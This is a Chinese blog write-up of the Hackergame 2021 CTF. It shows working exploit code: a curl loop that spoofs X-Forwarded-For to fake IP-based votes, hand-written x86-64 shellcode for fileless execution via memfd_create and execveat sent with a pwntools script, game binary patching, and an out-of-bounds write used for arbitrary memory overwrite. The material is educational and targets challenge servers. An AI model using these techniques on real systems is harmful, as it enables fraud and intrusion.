hackgame-2021-wp

0x01 总结

第一次打ctf,2250分,rank109,math类一题不会…有待提高

0x02 助力

前面简单的几题就不写了,从助力开始。

这题多次使用相同ip助力,会显示重复的/8地址

F12看下post,payload为ip=*.*.*.*。所以好搞,既然说/8地址重复,那我们手动post,发送 ip=0.0.0.0ip=255.0.0.0的请求,共256个(后来发现,题目也必须256个人助力,正好)。

但还有一个问题,后端会检测ip,跟前端发送的ip对比,对比不通过也是不行的。

所以在发送请求的时候加上X-Forwarded-For的header,构造假的client ip,这样后端拿到的client ip和前端检测的ip就对的上了。

最后的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/bin/bash
for i in {0..255}
do
while true
do
curl -s --header "X-Forwarded-For: $i.0.0.0" -X POST -d "ip=$i.0.0.0" http://邀请链接/ | grep "成功"
if [ $? = 0 ]
then
echo "助力成功"
break
else
echo "助力失败 休息5秒"
sleep 5
fi
done
done

0x03 Amnesia

这题有趣。

轻度失忆

简单,.data放初始化的全局变量,.rodata放只读常量。所以申请几个栈上的int变量,然后给int变量赋值,memcpy到堆上,再printf即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
int a = 0x6c6c6548; /* Hell */
int b = 0x77202c6f; /* o, w */
int c = 0x646c726f; /* orld */
int d = 0x00000021; /* !\0 */

char *str = (char *)malloc(16);
memcpy(str, &a, 4);
memcpy(str + 4, &b, 4);
memcpy(str + 8, &c, 4);
memcpy(str + 12, &d, 4);

printf(str);
return 0;
}

重度失忆

这题要debug,把.text段清空后,_start函数没了。。(这不程序不直接残疾了吗?)

这题一开始我想能不能把_start函数移到别的段,比如这样__attribute__((section("my_section")))。但这样_start符号重定义了,不加-nostartfiles编译选项时编译器不给过,编译选项又改不了,所以这样不行。

然后又想着能不能覆盖.fini段,但是更改不了编译脚本,不行。

最后debug了一下清空了.text段的程序,意外发现一直走到.fini段才段错误。恍然大悟,0000反汇编虽然是add byte ptr [eax], al,但似乎对程序运行没有什么影响….

所以,把函数放到.fini段之前,.text段之后,然后坐等程序执行到这个函数,不就行了吗?

但一开始直接写存在别的section的函数,还是会Segmentation Fault,因为会调用.text段的__x86.get_pc_trunk.bx,上去再下来Segmentation Fault。

想了很久,试了内联汇编,发现不会调用__x86.get_pc_trunk.bx了。如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>
#include <stdlib.h>

/*
void __attribute__((section("magic_section"))) none() {
;
}
*/

void __attribute__((section("magic_section"))) main() {
__asm__(
"push $0x21\n"
"push $0x646c726f\n"
"push $0x77202c6f\n"
"push $0x6c6c6548\n"
"mov $4, %eax\n"
"mov $1, %ebx\n"
"mov %esp, %ecx\n"
"mov $0xd, %edx\n"
"int $0x80\n"

"movl $1, %eax\n"
"movl $0, %ebx\n"
"int $0x80\n"
);
}

但还是Segmentation Fault。。。用gdb看下。

好家伙,看来是指令解析有毛病,塞个啥都不干的函数看看(取消上面none函数的注释)。

00c3add bl, al没毛病,这样不会Segmentation Fault了,所以搞定了。

0x04 只读文件系统

这题搞的时间有点长,本地很快搞好了,完全ok,但是远程不行,卡了我很久。

主要就是考无文件执行,翻了一下glibc的源码,它提供了一个fexecve函数(这里),可以接受文件描述符作为参数,然后执行程序。

结合这个commit:

意思是现在要直接增加一个execveat syscall wrapper。之前用execveat系统调用实现了fexecve(如果内核支持),可以不用构建/proc/self/fd/***文件名,直接用fd执行。

另外,只读文件系统,文件只能放在内存里,所以用memfd_create系统调用,创建一个在内存里的匿名文件。

整理一下,Payload要做这些事:

  1. 调用mmap syscall,在堆上申请内存
  2. 调用read syscall,从stdin把hello读到申请的内存里
  3. 调用memfd_create syscall,创建一个memfd
  4. 调用execveat执行memfd,替换当前进程为hello

当然这样本地就可以跑通了,但是远程hello总是不完整,我甚至把写入的hello打到stdout上看看到底咋回事,看起来总是没法一次性读完hello的16744个字节。

想了半半天,甚至还问了群里人是不是payload有长度限制,也怀疑是通过tcp传输一次性不能读那么多。最后看了下pwntools,用了pwnlib.shellcraft.amd64.linux.readn(fd, buf, nbytes) (reads exactly nbytes bytes from file descriptor fd into the buffer buf),这才搞定。

shellcode如下,部分用pwntools生成的,部分手写(又不是不能用.jpg),printf buffer是为了验证写入的hello完整性的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
section .text
global _start
_start:
; mmap new buffer
push 0x22
pop r10
push -1
pop r8
mov r9d, 0
push 9
pop rax
mov edi, 0x1010101
xor edi, 0x24545101
push 7
pop rdx
mov esi, 0x1100101
xor esi, 0x1110101
syscall

; read stdin to buffer
xor edx, edx
mov dx, 0x4168
mov esi, 0x1010101 ; /* 626348032 == 0x25555000 */
xor esi, 0x24545101

readn_loop_2:
; /* call read(0, 'rsi', 'rdx') */
xor eax, eax ;/* SYS_read */
xor edi, edi ;/* 0 */
syscall
add rsi, rax
sub rdx, rax
jnz readn_loop_2

; printf buffer
mov rsi, 0x25555000
mov rdi, 1
mov rdx, 0x4168
;/* call write() */
push 1 ; /* 1 */
pop rax
syscall

; create memfd
xor eax, eax
mov eax, 0x13f ; syscall 0x13f
push 0x00666c65 ; elf
mov rdi, rsp ; rdi -> 'elf'
mov rsi, 0
syscall

; write buffer to memfd
mov edi, eax ; fd
xor edx, edx
mov dx, 0x4168 ; size
mov esi, 0x1010101 ;/* 626348032 == 0x25555000 */
xor esi, 0x24545101 ; source
push 1 ; sys_write
pop rax
syscall

; execveat hello
; %rdi %rsi %rdx %r10 %r8
push 0
mov rsi, rsp
xor rdx, rdx
xor r10, r10
mov r8, 0x1000
mov eax, 0x142
syscall

生成shellcode

1
2
3
nasm -felf64 -o shellcode.o shellcode.asm
ld -o shellcode shellcode.o
objdump -d shellcode | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-6 -d ' '| tr -s ' '| tr '\t' ' '| sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s | sed 's/^/"/' | sed 's/$/"/g'

得到:

1
\x6a\x22\x41\x5a\x6a\xff\x41\x58\x41\xb9\x00\x00\x00\x00\x6a\x09\x58\xbf\x01\x01\x01\x01\x81\xf7\x01\x51\x54\x24\x6a\x07\x5a\xbe\x01\x01\x10\x01\x81\xf6\x01\x01\x11\x01\x0f\x05\x31\xd2\x66\xba\x68\x41\xbe\x01\x01\x01\x01\x81\xf6\x01\x51\x54\x24\x31\xc0\x31\xff\x0f\x05\x48\x01\xc6\x48\x29\xc2\x75\xf2\xbe\x00\x50\x55\x25\xbf\x01\x00\x00\x00\xba\x68\x41\x00\x00\x6a\x01\x58\x0f\x05\x31\xc0\xb8\x3f\x01\x00\x00\x68\x65\x6c\x66\x00\x48\x89\xe7\xbe\x00\x00\x00\x00\x0f\x05\x89\xc7\x31\xd2\x66\xba\x68\x41\xbe\x01\x01\x01\x01\x81\xf6\x01\x51\x54\x24\x6a\x01\x58\x0f\x05\x6a\x00\x48\x89\xe6\x48\x31\xd2\x4d\x31\xd2\x41\xb8\x00\x10\x00\x00\xb8\x42\x01\x00\x00\x0f\x05

最后的exp.py如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

context.arch = 'amd64'

print('[-]: run process')
p = remote('202.38.93.111', 10106)
p.recvuntil(b'token:')
p.sendline(b'token' + b'\n')
p.recvuntil(b'Checking...\n')

shellcode = b"\x6a\x22\x41\x5a\x6a\xff\x41\x58\x41\xb9\x00\x00\x00\x00\x6a\x09\x58\xbf\x01\x01\x01\x01\x81\xf7\x01\x51\x54\x24\x6a\x07\x5a\xbe\x01\x01\x10\x01\x81\xf6\x01\x01\x11\x01\x0f\x05\x31\xd2\x66\xba\x68\x41\xbe\x01\x01\x01\x01\x81\xf6\x01\x51\x54\x24\x31\xc0\x31\xff\x0f\x05\x48\x01\xc6\x48\x29\xc2\x75\xf2\xbe\x00\x50\x55\x25\xbf\x01\x00\x00\x00\xba\x68\x41\x00\x00\x6a\x01\x58\x0f\x05\x31\xc0\xb8\x3f\x01\x00\x00\x68\x65\x6c\x66\x00\x48\x89\xe7\xbe\x00\x00\x00\x00\x0f\x05\x89\xc7\x31\xd2\x66\xba\x68\x41\xbe\x01\x01\x01\x01\x81\xf6\x01\x51\x54\x24\x6a\x01\x58\x0f\x05\x6a\x00\x48\x89\xe6\x48\x31\xd2\x4d\x31\xd2\x41\xb8\x00\x10\x00\x00\xb8\x42\x01\x00\x00\x0f\x05"

print('[-]: send shellcode')
p.sendline(shellcode)

with open('../hello', 'rb') as f:
hello = f.read()

p.send(hello)

p.interactive()

0x05 Micro World

工作繁忙,没做。但是思路是有的,题目提示一段时间之后的flag形状,加上程序一打开的瞬间还是有点像flag的,估计是要逆向修改下程序执行流程啥的,后来看下官方wp,确实。

0x06 catchGPA

做到这题,感觉爷的青春又回来了,小时候的口袋妖怪,都是回忆。

拖到ida里,分析了下,先加球(我不知道啥经典作弊码的)!

然后用101改了带师球的数量,笑死。

但是试了5、6次,抓不住GPA。。于是再次patch,这次发现main里面会执行fail()函数,于是一把梭哈,直接把fail()改成decrypt()。

这次可以了,结果发现flag一闪而过。。。草,patch的不好,遂录屏、暂停拿到flag(滑稽.jpg)

其实是不是可以更暴力一点,把init改成decrypt呢?

0x07 一石二鸟

这题没做出来,不知道这个.hs是个啥鬼东西。但现在复盘一下。。

main.hs编译成runme,检查vector有几个value不是0,大于1个的话就输出flag。

试下极大的index,有越界。

看下coredump。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#0  0x00000000004094fc in ?? ()
(gdb) info r
rax 0x2 2
rbx 0x4200105758 283468912472
rcx 0x18abef7846071c7 111111111111111111
rdx 0x42000006c0 283467843264
rsi 0x5f07a9 6227881
rdi 0x4200105768 283468912488
rbp 0x42001fcfc8 0x42001fcfc8
rsp 0x7ffda9e326f8 0x7ffda9e326f8
r8 0x4200016638 283467933240
r9 0x5f07a9 6227881
r10 0xffffffffffffffae -82
r11 0x1480dce7caf0 22543694547696
r12 0x420001e4f0 283467965680
r13 0x5f3758 6240088
r14 0x420001e4d9 283467965657
r15 0x42001f50c0 283469893824
rip 0x4094fc 0x4094fc
eflags 0x10202 [ IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0

很明显,rax是要设置的value,rcx是index。

反汇编看看。

1
2
3
4
5
6
7
(gdb) disassemble 0x00000000004094f0, 0x00000000004094ff
Dump of assembler code from 0x4094f0 to 0x4094ff:
0x00000000004094f0: mov 0x7(%rbx),%rax
0x00000000004094f4: mov 0x10(%rbp),%rbx
0x00000000004094f8: mov 0x8(%rbp),%rcx
=> 0x00000000004094fc: mov %rax,0x10(%rbx,%rcx,8)
End of assembler dump.

mov %rax,0x10(%rbx,%rcx,8),移动%rax到地址%rbx+%rcx*8+0x10,所以%rbx+0x10指向vector头数据,存放在0x10+%rbp

这里发现基址指针rbp一直不会变,所以可以利用越界任意写内存,修改存放vector头指针的0x10(%rbp),这样整个vector就变了。

计算一下:

先算index:
%rbx + %rcx*8 + 0x10 = 0x10 + %rbp
求得:
rcx = 0x1EF0E = 126734

值的话,原先头指针是0x4200105768,现在随机改一个,改成0x4200000700好了,所以:

%rbx + 0x10 = 0x4200000700
求得:
%rbx=0x42000006F0,即value=283467843312

测试一下:

1
2
3
[email protected]:~/一石二鸟$ ./runme 126734 283467843312
count: 76
runme: flag.txt: openFile: does not exist (No such file or directory)

🆗。

但是远程index要改成126732。可能是因为%rbp多了16字节吧。

Author

lyq1996

Posted on

2021-10-31

Updated on

2022-09-09

Licensed under

Comments